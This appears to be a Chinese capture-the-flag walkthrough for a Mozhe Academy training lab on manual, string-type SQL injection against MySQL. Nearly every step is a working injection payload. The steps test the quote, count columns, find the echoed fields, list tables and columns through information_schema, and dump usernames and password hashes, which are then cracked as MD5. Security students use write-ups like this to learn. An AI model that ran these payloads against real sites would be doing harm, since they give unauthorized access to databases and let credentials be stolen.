SQL手工注入漏洞测试(MySQL数据库-字符型) 墨者学院

1、打开网页，查看源码，发现停机公告那里有个url，尝试注入一下

2、?id=tingjigonggao'
发现有个函数不满足，会报错，不过既然告诉了是字符型注入，再试一下：
?id=tingjigonggao' and '1'='1
发现成功显示
?id=tingjigonggao' and '1'='2
显示有误

3、判断列数：
?id=' order by 1#
发现不行
使用?id=' union select 'null','null','null','null#   判断列数，发现有四列

4、查看回显位置：
?id=' union select '1','2','3','4

5、?id=' union select '1',database(),user(),'4

6、查询表：
?id=' union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=database() and '1'='1

7、查询字段：
?id=' union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='stormgroup_member' and '1'='1

8、查询字段值
?id=' union select 1,group_concat(name，password),3,4 from stormgroup_member where '1'='1#

9、将得到的password字段md5解密即得到密码